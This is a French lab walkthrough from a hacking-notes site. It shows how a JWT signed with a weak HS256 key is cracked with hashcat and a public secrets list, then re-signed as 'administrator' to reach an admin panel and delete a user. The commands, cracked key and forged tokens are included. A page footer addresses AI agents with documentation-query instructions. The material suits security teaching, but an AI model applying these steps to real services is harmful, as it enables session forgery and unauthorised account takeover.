> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).
# Contournement de l’authentification JWT avec une clé faible
### Contournement de l’authentification JWT via une clé de signature faible
**Description du laboratoire**
Ce labo utilise un mécanisme de session basé sur JWT. / La clé secrète utilisée pour **signer et vérifier les jetons est extrêmement faible**, permettant au **être cassée facilement** en utilisant une liste de secrets courants.
Objectif :
* Trouvez la clé secrète utilisée par le serveur. \*Forger un JWT valide avec cette clé pour accéder au `/admin` panneau d'administration.
* Supprimer l'utilisateur **carlos**.
Identifiants fournis :/ `wiener:peter`
\*\* JWT initial récupéré\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
Il est observé que l'algorithme utilisé est **HS256**, donc un **algorithme symétrique** basé sur un secret partagé.
**Force brute de la clé secrète**
Nous utilisons une liste de secrets JWT courants :
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
Puis lancez l'attaque par force brute avec **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
Résultat :
* Clé secrète trouvée : **`secret1`**
**Préparation de la clé pour la signature**
Le **L'extension JWT Editor** attend la clé au format Base64.
Encodage de la clé :
```bash
c2VjcmV0MQ==
```
Création d'une clé symétrique dans JWT Editor :
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
Un identifiant de clé (`kid`) est ensuite généré et utilisé pour signer le jeton.
**Modification du JWT**
* Interception de la requête contenant le JWT.
* Modifiez le `sub` champ :
* `wiener` → `administrateur`
Resignature du jeton avec la clé secrète trouvée
JWT forgé final :
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**Résultat**
* Le serveur accepte le JWT signé avec la clé faible.
* Accès réussi au `/admin` panneau.
* L'utilisateur est reconnu comme \*\* administrateur\*\*.
* Le labo est validé après suppression de l'utilisateur **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.